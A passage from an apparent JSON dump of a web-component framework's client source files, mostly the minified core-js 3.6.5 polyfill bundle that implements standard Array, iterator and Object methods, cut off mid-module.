https://github.com/salesforce/lwc/blob/5af18fdd904bc6cfcf7b76f3c539490ff11515b2/packages/%40lwc/engine-dom/src/renderer.ts#L41-L43\nexport const supportsMutableAdoptedStyleSheets = supportsConstructableStylesheets\n  ? /*@__PURE__*/ (() =>\n      !!win.document && Object.getOwnPropertyDescriptor(win.document.adoptedStyleSheets, 'length')!.writable)()\n  : false;\n\nexport { H as HTMLElement };\n"
  },
  {
    "path": "src/client/index.ts",
    "content": "export * from './client-build';\nexport * from './client-host-ref';\nexport * from './client-load-module';\nexport * from './client-log';\nexport * from './client-style';\nexport * from './client-task-queue';\nexport * from './client-window';\nexport { BUILD, Env, NAMESPACE } from '@app-data';\nexport * from '@runtime';\n"
  },
  {
    "path": "src/client/polyfills/core-js.js",
    "content": "/**\n * core-js 3.6.5\n * https://github.com/zloirock/core-js\n * License: http://rock.mit-license.org\n * © 2019 Denis Pushkarev (zloirock.ru)\n */\n!function(t){\"use strict\";!function(t){var n={};function e(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,e),o.l=!0,o.exports}e.m=t,e.c=n,e.d=function(t,n,r){e.o(t,n)||Object.defineProperty(t,n,{enumerable:!0,get:r})},e.r=function(t){\"undefined\"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:\"Module\"}),Object.defineProperty(t,\"__esModule\",{value:!0})},e.t=function(t,n){if(1&n&&(t=e(t)),8&n)return t;if(4&n&&\"object\"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(e.r(r),Object.defineProperty(r,\"default\",{enumerable:!0,value:t}),2&n&&\"string\"!=typeof t)for(var o in t)e.d(r,o,function(n){return t[n]}.bind(null,o));return r},e.n=function(t){var n=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(n,\"a\",n),n},e.o=function(t,n){return Object.prototype.hasOwnProperty.call(t,n)},e.p=\"\",e(e.s=0)}([function(t,n,e){e(1),e(55),e(62),e(68),e(70),e(71),e(72),e(73),e(75),e(76),e(78),e(87),e(88),e(89),e(98),e(99),e(101),e(102),e(103),e(105),e(106),e(107),e(108),e(110),e(111),e(112),e(113),e(114),e(115),e(116),e(117),e(118),e(127),e(130),e(131),e(133),e(135),e(136),e(137),e(138),e(139),e(141),e(143),e(146),e(148),e(150),e(151),e(153),e(154),e(155),e(156),e(157),e(159),e(160),e(162),e(163),e(164),e(165),e(166),e(167),e(168),e(169),e(170),e(172),e(173),e(183),e(184),e(185),e(189),e(191),e(192),e(193),e(194),e(195),e(196),e(198),e(201),e(202),e(203),e(204),e(208),e(209),e(212),e(213),e(214),e(215),e(216),e(217),e(218),e(219),e(221),e(222),e(223),e(226),e(227),e(228),e(229),e(230),e(231),e(232),e(233),e(234),e(235),e(236),e(237),e(238),e(240),e(241),e(243),e(248),t.exports=e(246)},function(t,n,e){var r=e(2),o=e(6),i=e(45),a=e(14),u=e(46),c=e(39),f=e(47),s=e(48),l=e(52),p=e(49),h=e(53),v=p(\"isConcatSpreadable\"),g=h>=51||!o((function(){var t=[];return t[v]=!1,t.concat()[0]!==t})),d=l(\"concat\"),y=function(t){if(!a(t))return!1;var n=t[v];return void 0!==n?!!n:i(t)};r({target:\"Array\",proto:!0,forced:!g||!d},{concat:function(t){var n,e,r,o,i,a=u(this),l=s(a,0),p=0;for(n=-1,r=arguments.length;n<r;n++)if(i=-1===n?a:arguments[n],y(i)){if(p+(o=c(i.length))>9007199254740991)throw TypeError(\"Maximum allowed index exceeded\");for(e=0;e<o;e++,p++)e in i&&f(l,p,i[e])}else{if(p>=9007199254740991)throw TypeError(\"Maximum allowed index exceeded\");f(l,p++,i)}return l.length=p,l}})},function(t,n,e){var r=e(3),o=e(4).f,i=e(18),a=e(21),u=e(22),c=e(32),f=e(44);t.exports=function(t,n){var e,s,l,p,h,v=t.target,g=t.global,d=t.stat;if(e=g?r:d?r[v]||u(v,{}):(r[v]||{}).prototype)for(s in n){if(p=n[s],l=t.noTargetGet?(h=o(e,s))&&h.value:e[s],!f(g?s:v+(d?\".\":\"#\")+s,t.forced)&&void 0!==l){if(typeof p==typeof l)continue;c(p,l)}(t.sham||l&&l.sham)&&i(p,\"sham\",!0),a(e,s,p,t)}}},function(t,n){var e=function(t){return t&&t.Math==Math&&t};t.exports=e(\"object\"==typeof globalThis&&globalThis)||e(\"object\"==typeof window&&window)||e(\"object\"==typeof self&&self)||e(\"object\"==typeof global&&global)||Function(\"return this\")()},function(t,n,e){var r=e(5),o=e(7),i=e(8),a=e(9),u=e(13),c=e(15),f=e(16),s=Object.getOwnPropertyDescriptor;n.f=r?s:function(t,n){if(t=a(t),n=u(n,!0),f)try{return s(t,n)}catch(t){}if(c(t,n))return i(!o.f.call(t,n),t[n])}},function(t,n,e){var r=e(6);t.exports=!r((function(){return 7!=Object.defineProperty({},1,{get:function(){return 7}})[1]}))},function(t,n){t.exports=function(t){try{return!!t()}catch(t){return!0}}},function(t,n,e){var r={}.propertyIsEnumerable,o=Object.getOwnPropertyDescriptor,i=o&&!r.call({1:2},1);n.f=i?function(t){var n=o(this,t);return!!n&&n.enumerable}:r},function(t,n){t.exports=function(t,n){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:n}}},function(t,n,e){var r=e(10),o=e(12);t.exports=function(t){return r(o(t))}},function(t,n,e){var r=e(6),o=e(11),i=\"\".split;t.exports=r((function(){return!Object(\"z\").propertyIsEnumerable(0)}))?function(t){return\"String\"==o(t)?i.call(t,\"\"):Object(t)}:Object},function(t,n){var e={}.toString;t.exports=function(t){return e.call(t).slice(8,-1)}},function(t,n){t.exports=function(t){if(null==t)throw TypeError(\"Can't call method on \"+t);return t}},function(t,n,e){var r=e(14);t.exports=function(t,n){if(!r(t))return t;var e,o;if(n&&\"function\"==typeof(e=t.toString)&&!r(o=e.call(t)))return o;if(\"function\"==typeof(e=t.valueOf)&&!r(o=e.call(t)))return o;if(!n&&\"function\"==typeof(e=t.toString)&&!r(o=e.call(t)))return o;throw TypeError(\"Can't convert object to primitive value\")}},function(t,n){t.exports=function(t){return\"object\"==typeof t?null!==t:\"function\"==typeof t}},function(t,n){var e={}.hasOwnProperty;t.exports=function(t,n){return e.call(t,n)}},function(t,n,e){var r=e(5),o=e(6),i=e(17);t.exports=!r&&!o((function(){return 7!=Object.defineProperty(i(\"div\"),\"a\",{get:function(){return 7}}).a}))},function(t,n,e){var r=e(3),o=e(14),i=r.document,a=o(i)&&o(i.createElement);t.exports=function(t){return a?i.createElement(t):{}}},function(t,n,e){var r=e(5),o=e(19),i=e(8);t.exports=r?function(t,n,e){return o.f(t,n,i(1,e))}:function(t,n,e){return t[n]=e,t}},function(t,n,e){var r=e(5),o=e(16),i=e(20),a=e(13),u=Object.defineProperty;n.f=r?u:function(t,n,e){if(i(t),n=a(n,!0),i(e),o)try{return u(t,n,e)}catch(t){}if(\"get\"in e||\"set\"in e)throw TypeError(\"Accessors not supported\");return\"value\"in e&&(t[n]=e.value),t}},function(t,n,e){var r=e(14);t.exports=function(t){if(!r(t))throw TypeError(String(t)+\" is not an object\");return t}},function(t,n,e){var r=e(3),o=e(18),i=e(15),a=e(22),u=e(23),c=e(25),f=c.get,s=c.enforce,l=String(String).split(\"String\");(t.exports=function(t,n,e,u){var c=!!u&&!!u.unsafe,f=!!u&&!!u.enumerable,p=!!u&&!!u.noTargetGet;\"function\"==typeof e&&(\"string\"!=typeof n||i(e,\"name\")||o(e,\"name\",n),s(e).source=l.join(\"string\"==typeof n?n:\"\")),t!==r?(c?!p&&t[n]&&(f=!0):delete t[n],f?t[n]=e:o(t,n,e)):f?t[n]=e:a(n,e)})(Function.prototype,\"toString\",(function(){return\"function\"==typeof this&&f(this).source||u(this)}))},function(t,n,e){var r=e(3),o=e(18);t.exports=function(t,n){try{o(r,t,n)}catch(e){r[t]=n}return n}},function(t,n,e){var r=e(24),o=Function.toString;\"function\"!=typeof r.inspectSource&&(r.inspectSource=function(t){return o.call(t)}),t.exports=r.inspectSource},function(t,n,e){var r=e(3),o=e(22),i=r[\"__core-js_shared__\"]||o(\"__core-js_shared__\",{});t.exports=i},function(t,n,e){var r,o,i,a=e(26),u=e(3),c=e(14),f=e(18),s=e(15),l=e(27),p=e(31),h=u.WeakMap;if(a){var v=new h,g=v.get,d=v.has,y=v.set;r=function(t,n){return y.call(v,t,n),n},o=function(t){return g.call(v,t)||{}},i=function(t){return d.call(v,t)}}else{var x=l(\"state\");p[x]=!0,r=function(t,n){return f(t,x,n),n},o=function(t){return s(t,x)?t[x]:{}},i=function(t){return s(t,x)}}t.exports={set:r,get:o,has:i,enforce:function(t){return i(t)?o(t):r(t,{})},getterFor:function(t){return function(n){var e;if(!c(n)||(e=o(n)).type!==t)throw TypeError(\"Incompatible receiver, \"+t+\" required\");return e}}}},function(t,n,e){var r=e(3),o=e(23),i=r.WeakMap;t.exports=\"function\"==typeof i&&/native code/.test(o(i))},function(t,n,e){var r=e(28),o=e(30),i=r(\"keys\");t.exports=function(t){return i[t]||(i[t]=o(t))}},function(t,n,e){var r=e(29),o=e(24);(t.exports=function(t,n){return o[t]||(o[t]=void 0!==n?n:{})})(\"versions\",[]).push({version:\"3.6.5\",mode:r?\"pure\":\"global\",copyright:\"© 2020 Denis Pushkarev (zloirock.ru)\"})},function(t,n){t.exports=!1},function(t,n){var e=0,r=Math.random();t.exports=function(t){return\"Symbol(\"+String(void 0===t?\"\":t)+\")_\"+(++e+r).toString(36)}},function(t,n){t.exports={}},function(t,n,e){var r=e(15),o=e(33),i=e(4),a=e(19);t.exports=function(t,n){for(var e=o(n),u=a.f,c=i.f,f=0;f<e.length;f++){var s=e[f];r(t,s)||u(t,s,c(n,s))}}},function(t,n,e){var r=e(34),o=e(36),i=e(43),a=e(20);t.exports=r(\"Reflect\",\"ownKeys\")||function(t){var n=o.f(a(t)),e=i.f;return e?n.concat(e(t)):n}},function(t,n,e){var r=e(35),o=e(3),i=function(t){return\"function\"==typeof t?t:void 0};t.exports=function(t,n){return arguments.length<2?i(r[t])||i(o[t]):r[t]&&r[t][n]||o[t]&&o[t][n]}},function(t,n,e){var r=e(3);t.exports=r},function(t,n,e){var r=e(37),o=e(42).concat(\"length\",\"prototype\");n.f=Object.getOwnPropertyNames||function(t){return r(t,o)}},function(t,n,e){var r=e(15),o=e(9),i=e(38).indexOf,a=e(31);t.exports=function(t,n){var e,u=o(t),c=0,f=[];for(e in u)!r(a,e)&&r(u,e)&&f.push(e);for(;n.length>c;)r(u,e=n[c++])&&(~i(f,e)||f.push(e));return f}},function(t,n,e){var r=e(9),o=e(39),i=e(41),a=function(t){return function(n,e,a){var u,c=r(n),f=o(c.length),s=i(a,f);if(t&&e!=e){for(;f>s;)if((u=c[s++])!=u)return!0}else for(;f>s;s++)if((t||s in c)&&c[s]===e)return t||s||0;return!t&&-1}};t.exports={includes:a(!0),indexOf:a(!1)}},function(t,n,e){var r=e(40),o=Math.min;t.exports=function(t){return t>0?o(r(t),9007199254740991):0}},function(t,n){var e=Math.ceil,r=Math.floor;t.exports=function(t){return isNaN(t=+t)?0:(t>0?r:e)(t)}},function(t,n,e){var r=e(40),o=Math.max,i=Math.min;t.exports=function(t,n){var e=r(t);return e<0?o(e+n,0):i(e,n)}},function(t,n){t.exports=[\"constructor\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"toLocaleString\",\"toString\",\"valueOf\"]},function(t,n){n.f=Object.getOwnPropertySymbols},function(t,n,e){var r=e(6),o=/#|\\.prototype\\./,i=function(t,n){var e=u[a(t)];return e==f||e!=c&&(\"function\"==typeof n?r(n):!!n)},a=i.normalize=function(t){return String(t).replace(o,\".\").toLowerCase()},u=i.data={},c=i.NATIVE=\"N\",f=i.POLYFILL=\"P\";t.exports=i},function(t,n,e){var r=e(11);t.exports=Array.isArray||function(t){return\"Array\"==r(t)}},function(t,n,e){var r=e(12);t.exports=function(t){return Object(r(t))}},function(t,n,e){var r=e(13),o=e(19),i=e(8);t.exports=function(t,n,e){var a=r(n);a in t?o.f(t,a,i(0,e)):t[a]=e}},function(t,n,e){var r=e(14),o=e(45),i=e(49)(\"species\");t.exports=function(t,n){var e;return o(t)&&(\"function\"!=typeof(e=t.constructor)||e!==Array&&!o(e.prototype)?r(e)&&null===(e=e[i])&&(e=void 0):e=void 0),new(void 0===e?Array:e)(0===n?0:n)}},function(t,n,e){var r=e(3),o=e(28),i=e(15),a=e(30),u=e(50),c=e(51),f=o(\"wks\"),s=r.Symbol,l=c?s:s&&s.withoutSetter||a;t.exports=function(t){return i(f,t)||(u&&i(s,t)?f[t]=s[t]:f[t]=l(\"Symbol.\"+t)),f[t]}},function(t,n,e){var r=e(6);t.exports=!!Object.getOwnPropertySymbols&&!r((function(){return!String(Symbol())}))},function(t,n,e){var r=e(50);t.exports=r&&!Symbol.sham&&\"symbol\"==typeof Symbol.iterator},function(t,n,e){var r=e(6),o=e(49),i=e(53),a=o(\"species\");t.exports=function(t){return i>=51||!r((function(){var n=[];return(n.constructor={})[a]=function(){return{foo:1}},1!==n[t](Boolean).foo}))}},function(t,n,e){var r,o,i=e(3),a=e(54),u=i.process,c=u&&u.versions,f=c&&c.v8;f?o=(r=f.split(\".\"))[0]+r[1]:a&&(!(r=a.match(/Edge\\/(\\d+)/))||r[1]>=74)&&(r=a.match(/Chrome\\/(\\d+)/))&&(o=r[1]),t.exports=o&&+o},function(t,n,e){var r=e(34);t.exports=r(\"navigator\",\"userAgent\")||\"\"},function(t,n,e){var r=e(2),o=e(56),i=e(57);r({target:\"Array\",proto:!0},{copyWithin:o}),i(\"copyWithin\")},function(t,n,e){var r=e(46),o=e(41),i=e(39),a=Math.min;t.exports=[].copyWithin||function(t,n){var e=r(this),u=i(e.length),c=o(t,u),f=o(n,u),s=arguments.length>2?arguments[2]:void 0,l=a((void 0===s?u:o(s,u))-f,u-c),p=1;for(f<c&&c<f+l&&(p=-1,f+=l-1,c+=l-1);l-- >0;)f in e?e[c]=e[f]:delete e[c],c+=p,f+=p;return e}},function(t,n,e){var r=e(49),o=e(58),i=e(19),a=r(\"unscopables\"),u=Array.prototype;null==u[a]&&i.f(u,a,{configurable:!0,value:o(null)}),t.exports=function(t){u[a][t]=!0}},function(t,n,e){var r,o=e(20),i=e(59),a=e(42),u=e(31),c=e(61),f=e(17),s=e(27),l=s(\"IE_PROTO\"),p=function(){},h=function(t){return\"<script>\"+t+\"<\\/script>\"},v=function(){try{r=document.domain&&new ActiveXObject(\"htmlfile\")}catch(t){}var t,n;v=r?function(t){t.write(h(\"\")),t.close();var n=t.parentWindow.Object;return t=null,n}(r):((n=f(\"iframe\")).style.display=\"none\",c.appendChild(n),n.src=String(\"javascript:\"),(t=n.contentWindow.document).open(),t.write(h(\"document.F=Object\")),t.close(),t.F);for(var e=a.length;e--;)delete v.prototype[a[e]];return v()};u[l]=!0,t.exports=Object.create||function(t,n){var e;return null!==t?(p.prototype=o(t),e=new p,p.prototype=null,e[l]=t):e=v(),void 0===n?e:i(e,n)}},function(t,n,e){var r=e(5),o=e(19),i=e(20),a=e(60);t.exports=r?Object.defineProperties:function(t,n){i(t);for(var e,r=a(n),u=r.length,c=0;u>c;)o.f(t,e=r[c++],n[e]);return t}},function(t,n,e){var r=e(37),o=e(42);t.exports=Object.keys||function(t){return r(t,o)}},function(t,n,e){var r=e(34);t.exports=r(\"document\",\"documentElement\")},function(t,n,e){var r=e(2),o=e(63).every,i=e(66),a=e(67),u=i(\"every\"),c=a(\"every\");r({target:\"Array\",proto:!0,forced:!u||!c},{every:function(t){return o(this,t,arguments.length>1?arguments[1]:void 0)}})},function(t,n,e){var r=e(64),o=e(10),i=e(46),a=e(39),u=e(48),c=[].push,f=function(t){var n=1==t,e=2==t,f=3==t,s=4==t,l=6==t,p=5==t||l;return function(h,v,g,d){for(var y,x,m=i(h),b=o(m),S=r(v,g,3),E=a(b.length),w=0,O=d||u,R=n?O(h,E):e?O(h,0):void 0;E>w;w++)if((p||w in b)&&(x=S(y=b[w],w,m),t))if(n)R[w]=x;else if(x)switch(t){case 3:return!0;case 5:return y;case 6:return w;case 2:c.call(R,y)}else if(s)return!1;return l?-1:f||s?s:R}};t.exports={forEach:f(0),map:f(1),filter:f(2),some:f(3),every:f(4),find:f(5),findIndex:f(6)}},function(t,n,e){var r=e(65);t.exports=function(t,n,e){if(r(t),void 0===n)return t;switch(e){case 0:return function(){return t.call(n)};case 1:return function(e){return t.call(n,e)};case 2:return function(e,r){return t.call(n,e,r)};case 3:return function(e,r,o){return t.call(n,e,r,o)}}return function(){return t.apply(n,arguments)}}},function(t,n){t.exports=function(t){if(\"function\"!=typeof t)throw TypeError(String(t)+\" is not a function\");return t}},function(t,n,e){var r=e(6);t.exports=function(t,n){var e=[][t];return!!e&&r((function(){e.call(null,n||function(){throw 1},1)}))}},function(t,n,e){var r=e(5),o=e(6),i=e(15),a=Object.defineProperty,u={},c=function(t){throw t};t.exports=function(t,n){if(i(u,t))return u[t];n||(n={});var e=[][t],f=!!i(n,\"ACCESSORS\")&&n.ACCESSORS,s=i(n,0)?n[0]:c,l=i(n,1)?n[1]:void 0;return u[t]=!!e&&!o((function(){if(f&&!r)return!0;var t={length:-1};f?a(t,1,{enumerable:!0,get:c}):t[1]=1,e.call(t,s,l)}))}},function(t,n,e){var r=e(2),o=e(69),i=e(57);r({target:\"Array\",proto:!0},{fill:o}),i(\"fill\")},function(t,n,e){var r=e(46),o=e(41),i=e(39);t.exports=function(t){for(var n=r(this),e=i(n.length),a=arguments.length,u=o(a>1?arguments[1]:void 0,e),c=a>2?arguments[2]:void 0,f=void 0===c?e:o(c,e);f>u;)n[u++]=t;return n}},function(t,n,e){var r=e(2),o=e(63).filter,i=e(52),a=e(67),u=i(\"filter\"),c=a(\"filter\");r({target:\"Array\",proto:!0,forced:!u||!c},{filter:function(t){return o(this,t,arguments.length>1?arguments[1]:void 0)}})},function(t,n,e){var r=e(2),o=e(63).find,i=e(57),a=e(67),u=!0,c=a(\"find\");\"find\"in[]&&Array(1).find((function(){u=!1})),r({target:\"Array\",proto:!0,forced:u||!c},{find:function(t){return o(this,t,arguments.length>1?arguments[1]:void 0)}}),i(\"find\")},function(t,n,e){var r=e(2),o=e(63).findIndex,i=e(57),a=e(67),u=!0,c=a(\"findIndex\");\"findIndex\"in[]&&Array(1).findIndex((function(){u=!1})),r({target:\"Array\",proto:!0,forced:u||!c},{findIndex:function(t){return o(this,t,arguments.length>1?arguments[1]:void 0)}}),i(\"findIndex\")},function(t,n,e){var r=e(2),o=e(74),i=e(46),a=e(39),u=e(40),c=e(48);r({target:\"Array\",proto:!0},{flat:function(){var t=arguments.length?arguments[0]:void 0,n=i(this),e=a(n.length),r=c(n,0);return r.length=o(r,n,n,e,0,void 0===t?1:u(t)),r}})},function(t,n,e){var r=e(45),o=e(39),i=e(64),a=function(t,n,e,u,c,f,s,l){for(var p,h=c,v=0,g=!!s&&i(s,l,3);v<u;){if(v in e){if(p=g?g(e[v],v,n):e[v],f>0&&r(p))h=a(t,n,p,o(p.length),h,f-1)-1;else{if(h>=9007199254740991)throw TypeError(\"Exceed the acceptable array length\");t[h]=p}h++}v++}return h};t.exports=a},function(t,n,e){var r=e(2),o=e(74),i=e(46),a=e(39),u=e(65),c=e(48);r({target:\"Array\",proto:!0},{flatMap:function(t){var n,e=i(this),r=a(e.length);return u(t),(n=c(e,0)).length=o(n,e,e,r,0,1,t,arguments.length>1?arguments[1]:void 0),n}})},function(t,n,e){var r=e(2),o=e(77);r({target:\"Array\",proto:!0,forced:[].forEach!=o},{forEach:o})},function(t,n,e){var r=e(63).forEach,o=e(66),i=e(67),a=o(\"forEach\"),u=i(\"forEach\");t.exports=a&&u?[].forEach:function(t){return r(this,t,arguments.length>1?arguments[1]:void 0)}},function(t,n,e){var r=e(2),o=e(79);r({target:\"Array\",stat:!0,forced:!e(86)((function(t){Array.from(t)}))},{from:o})},function(t,n,e){var r=e(64),o=e(46),i=e(80),a=e(81),u=e(39),c=e(47),f=e(83);t.exports=function(t){var n,e,s,l,p,h,v=o(t),g=\"function\"==typeof this?this:Array,d=arguments.length,y=d>1?arguments[1]:void 0,x=void 0!==y,m=f(v),b=0;if(x&&(y=r(y,d>2?arguments[2]:void 0,2)),null==m||g==Array&&a(m))for(e=new g(n=u(v.length));n>b;b++)h=x?y(v[b],b):v[b],c(e,b,h);else for(p=(l=m.call(v)).next,e=new g;!(s=p.call(l)).done;b++)h=x?i(l,y,[s.value,b],!0):s.value,c(e,b,h);return e.length=b,e}},function(t,n,e){var r=e(20);t.exports=function(t,n,e,o){try{return o?n(r(e)[0],e[1]):n(e)}catch(n){var i=t.return;throw void 0!==i&&r(i.call(t)),n}}},function(t,n,e){var r=e(49),o=e(82),i=r(\"iterator\"),a=Array.prototype;t.exports=function(t){return void 0!==t&&(o.Array===t||a[i]===t)}},function(t,n){t.exports={}},function(t,n,e){var r=e(84),o=e(82),i=e(49)(\"iterator\");t.exports=function(t){if(null!=t)return t[i]||t[\"@@iterator\"]||o[r(t)]}},function(t,n,e){var r=e(85),o=e(11),i=e(49)(\"toStringTag\"),a=\"Arguments\"==o(function(){return arguments}());t.exports=r?o:function(t){var n,e,r;return void 0===t?\"Undefined\":null===t?\"Null\":\"string\"==typeof(e=function(t,n){try{return t[n]}catch(t){}}(n=Object(t),i))?e:a?o(n):\"Object\"==(r=o(n))&&\"function\"==typeof n.callee?\"Arguments\":r}},function(t,n,e){var r={};r[e(49)(\"toStringTag\")]=\"z\",t.exports=\"[object z]\"===String(r)},function(t,n,e){var r=e(49)(\"iterator\"),o=!1;try{var i=0,a={next:function(){return{done:!!i++}},return:function(){o=!0}};a[r]=function(){return this},Array.from(a,(function(){throw 2}))}catch(t){}t.exports=function(t,n){if(!n&&!o)return!1;var e=!1;try{var i={};i[r]=function(){return{next:function(){return{done:e=!0}}}},t(i)}catch(t){}return e}},function(t,n,e){var r=e(2),o=e(38).includes,i=e(57);r({target:\"Array\",proto:!0,forced:!e(67)(\"indexOf\",{ACCESSORS:!0,1:0})},{includes:function(t){return o(this,t,arguments.length>1?arguments[1]:void 0)}}),i(\"includes\")},function(t,n,e){var r=e(2),o=e(38).indexOf,i=e(66),a=e(67),u=[].indexOf,c=!!u&&1/[1].indexOf(1,-0)<0,f=i(\"indexOf\"),s=a(\"indexOf\",{ACCESSORS:!0,1:0});r({target:\"Array\",proto:!0,forced:c||!f||!s},{indexOf:function(t){return c?u.apply(this,arguments)||0:o(this,t,arguments.length>1?arguments[1]:void 0)}})},function(t,n,e){var r=e(9),o=e(57),i=e(82),a=e(25),u=e(90),c=a.set,f=a.getterFor(\"Array Iterator\");t.exports=u(Array,\"Array\",(function(t,n){c(this,{type:\"Array Iterator\",target:r(t),index:0,kind:n})}),(function(){var t=f(this),n=t.target,e=t.kind,r=t.index++;return!n||r>=n.length?(t.target=void 0,{value:void 0,done:!0}):\"keys\"==e?{value:r,done:!1}:\"values\"==e?{value:n[r],done:!1}:{value:[r,n[r]],done:!1}}),\"values\"),i.Arguments=i.Array,o(\"keys\"),o(\"values\"),o(\"entries\")},function(t,n,e){var r=e(2),o=e(91),i=e(93),a=e(96),u=e(95),c=e(18),f=e(21),s=e(49),l=e(29),p=e(82),h=e(92),v=h.IteratorPrototype,g=h.BUGGY_SAFARI_ITERATORS,d=s(\"iterator\"),y=function(){return this};t.exports=function(t,n,e,s,h,x,m){o(e,n,s);var b,S,E,w=function(t){if(t===h&&I)return I;if(!g&&t in A)return A[t];switch(t){case\"keys\":case\"values\":case\"entries\":return function(){return new e(this,t)}}return function(){return new e(this)}},O=n+\" Iterator\",R=!1,A=t.prototype,j=A[d]||A[\"@@iterator\"]||h&&A[h],I=!g&&j||w(h),k=\"Array\"==n&&A.entries||j;if(k&&(b=i(k.call(new t)),v!==Object.prototype&&b.next&&(l||i(b)===v||(a?a(b,v):\"function\"!=typeof b[d]&&c(b,d,y)),u(b,O,!0,!0),l&&(p[O]=y))),\"values\"==h&&j&&\"values\"!==j.name&&(R=!0,I=function(){return j.call(this)}),l&&!m||A[d]===I||c(A,d,I),p[n]=I,h)if(S={values:w(\"values\"),keys:x?I:w(\"keys\"),entries:w(\"entries\")},m)for(E in S)(g||R||!(E in A))&&f(A,E,S[E]);else r({target:n,proto:!0,forced:g||R},S);return S}},function(t,n,e){var r=e(92).IteratorPrototype,o=e(58),i=e(8),a=e(95),u=e(82),c=function(){return this};t.exports=function(t,n,e){var f=n+\" Iterator\";return t.prototype=o(r,{next:i(1,e)}),a(t,f,!1,!0),u[f]=c,t}},function(t,n,e){var r,o,i,a=e(93),u=e(18),c=e(15),f=e(49),s=e(29),l=f(\"iterator\"),p=!1;[].keys&&(\"next\"in(i=[].keys())?(o=a(a(i)))!==Object.prototype&&(r=o):p=!0),null==r&&(r={}),s||c(r,l)||u(r,l,(function(){return this})),t.exports={IteratorPrototype:r,BUGGY_SAFARI_ITERATORS:p}},function(t,n,e){var r=e(15),o=e(46),i=e(27),a=e(94),u=i(\"IE_PROTO\"),c=Object.prototype;t.exports=a?Object.getPrototypeOf:function(t){return t=o(t),r(t,u)?t[u]:\"function\"==typeof t.constructor&&t instanceof t.constructor?t.constructor.prototype:t instanceof Object?c:null}},function(t,n,e){var r=e(6);t.exports=!r((function(){function t(){}return t.prototype.constructor=null,Object.getPrototypeOf(new t)!==t.prototype}))},function(t,n,e){var r=e(19).f,o=e(15),i=e(49)(\"toStringTag\");t.exports=function(t,n,e){t&&!o(t=e?t:t.prototype,i)&&r(t,i,{configurable:!0,value:n})}},function(t,n,e){var r=e(20),o=e(97);t.exports=Object.setPrototypeOf||(\"__proto__\"in{}?function(){var t,n=!1,e={};try{(t=Object.getOwnPropertyDescriptor(Object.prototype,\"__proto__\").set).call(e,[]),n=e instanceof Array}catch(t){}return function(e,i){return r(e),o(i),n?t.call(e,i):e.__proto__=i,e}}():void 0)},function(t,n,e){var r=e(14);t.exports=function(t){if(!r(t)&&null!==t)throw TypeError(\"Can't set \"+String(t)+\" as a prototype\");return t}},function(t,n,e){var r=e(2),o=e(10),i=e(9),a=e(66),u=[].join,c=o!=Object,f=a(\"join\",\",\");r({target:\"Array\",proto:!0,forced:c||!f},{join:function(t){return u.call(i(this),void 0===t?\",\":t)}})},function(t,n,e){var r=e(2),o=e(100);r({target:\"Array\",proto:!0,forced:o!==[].lastIndexOf},{lastIndexOf:o})},function(t,n,e){var r=e(9),o=e(40),i=e(39),a=e(66),u=e(67),c=Math.min,f=[].lastIndexOf,s=!!f&&1/[1].lastIndexOf(1,-0)<0,l=a(\"lastIndexOf\"),p=u(\"indexOf\",{ACCESSORS:!0,1:0}),h=s||!l||!p;t.exports=h?function(t){if(s)return f.apply(this,arguments)||0;var n=r(this),e=i(n.length),a=e-1;for(arguments.length>1&&(a=c(a,o(arguments[1]))),a<0&&(a=e+a);a>=0;a--)if(a in n&&n[a]===t)return a||0;return-1}:f},function(t,n,e){var r=e(2),o=e(63).map,i=e(52),a=e(67),u=i(\"map\"),c=a(\"map\");r({target:\"Array\",proto:!0,forced:!u||!c},{map:function(t){return o(this,t,arguments.length>1?arguments[1]:void 0)}})},function(t,n,e){var r=e(2),o=e(6),i=e(47);r({target:\"Array\",stat:!0,forced:o((function(){function t(){}return!(Array.of.call(t)instanceof t)}))},{of:function(){for(var t=0,n=arguments.length,e=new(\"function\"==typeof this?this:Array)(n);n>t;)i(e,t,arguments[t++]);return e.length=n,e}})},function(t,n,e){var r=e(2),o=e(104).left,i=e(66),a=e(67),u=i(\"reduce\"),c=a(\"reduce\",{1:0});r({target:\"Array\",proto:!0,forced:!u||!c},{reduce:function(t){return o(this,t,arguments.length,arguments.length>1?arguments[1]:void 0)}})},function(t,n,e){var r=e(65),o=e(46),i=e(10),a=e(39),u=function(t){return function(n,e,u,c){r(e);var f=o(n),s=i(f),l=a(f.length),p=t?l-1:0,h=t?-1:1;if(u<2)for(;;){if(p in s){c=s[p],p+=h;break}if(p+=h,t?p<0:l<=p)throw TypeError(\"Reduce of empty array with no initial value\")}for(;t?p>=0:l>p;p+=h)p in s&&(c=e(c,s[p],p,f));return c}};t.exports={left:u(!1),right:u(!0)}},function(t,n,e){var r=e(2),o=e(104).right,i=e(66),a=e(67),u=i(\"reduceRight\"),c=a(\"reduce\",{1:0});r({target:\"Array\",proto:!0,forced:!u||!c},{reduceRight:function(t){return o(this,t,arguments.length,arguments.length>1?arguments[1]:void 0)}})},function(t,n,e){var r=e(2),o=e(14),i=e(45),a=e(41),u=e(39),c=e(9),f=e(47),s=e(49),l=e(52),p=e(67),h=l(\"slice\"),v=p(\"slice\",{ACCESSORS:!0,0:0,1:2}),g=s(\"species\"),d=[].slice,y=Math.max;r({target:\"Array\",proto:!0,forced:!h||!v},{slice:function(t,n){var e,r,s,l=c(this),p=u(l.length),h=a(t,p),v=a(void 0===n?p:n,p);if(i(l)&&(\"function\"!=typeof(e=l.constructor)||e!==Array&&!i(e.prototype)?o(e)&&null===(e=e[g])&&(e=void 0):e=void 0,e===Array||void 0===e))return d.call(l,h,v);for(r=new(void 0===e?Array:e)(y(v-h,0)),s=0;h<v;h++,s++)h in l&&f(r,s,l[h]);return r.length=s,r}})},function(t,n,e){var r=e(2),o=e(63).some,i=e(66),a=e(67),u=i(\"some\"),c=a(\"some\");r({target:\"Array\",proto:!0,forced:!u||!c},{some:function(t){return o(this,t,arguments.length>1?arguments[1]:void 0)}})},function(t,n,e){e(109)(\"Array\")},function(t,n,e){var r=e(34),o=e(19),i=e(49),a=e(5),u=i(\"species\");t.exports=function(t){var n=r(t),e=o.f;a&&n&&!n[u]&&e(n,u,{configurable:!0,get:function(){return this}})}},function(t,n,e){var 